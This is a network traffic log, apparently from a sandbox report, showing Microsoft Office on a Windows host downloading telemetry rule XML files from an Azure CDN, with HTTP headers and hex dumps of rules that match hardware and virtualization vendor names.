Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:18 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 84934087-701e-0021-808e-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195118Z-158dbd74bf4wlzpzhC1SN10qvc00000004cg000000002hfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:18 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49790	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:18 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b175b73d-201e-003f-1b53-2f6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195118Z-157b9fd754fk82tlhC1SN1x7tg00000004vg000000007t8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 19:51:19 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49791	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:18 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 63ee9ccd-501e-005b-1e4b-2ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-157b9fd754fk82tlhC1SN1x7tg00000004w00000000079r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49792	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:19 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fa46a579-901e-0016-6a5f-2eefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-158dbd74bf4jjjdmhC1SN1vmen00000004k00000000035nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:19 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49795	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:19 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 94271ffd-901e-0067-294a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-158dbd74bf4sq2b7hC1SN1zzdg00000004e0000000004sc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49794	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:19 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0386aeb1-901e-007b-0d55-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-158dbd74bf4mjxnbhC1SN1pkws00000004p00000000000wq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49796	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:19 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7c58c81c-301e-0052-3c61-2e65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-158dbd74bf4sq2b7hC1SN1zzdg00000004g0000000002w43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49793	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:19 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 8b11e52e-a01e-000d-655f-2ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195119Z-158dbd74bf4fwv52hC1SN1tbkg00000004eg000000004x3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49797	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9327b436-501e-00a3-4e5c-2ec0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195120Z-157b9fd754f4s26nhC1SN1er5n00000004y00000000078mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49798	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf74e669-f01e-001f-5b5f-2e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195120Z-158dbd74bf4jmkvwhC1SN1wwbg00000004c00000000016mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49799	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:20 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 10bce229-001e-00a2-2560-2ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195120Z-158dbd74bf4cgkpvhC1SN11r4000000004a00000000051pc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 09b5d2b9-701e-003e-6058-2e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195120Z-157b9fd754fhlggqhC1SN1drew00000004z0000000005sfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" 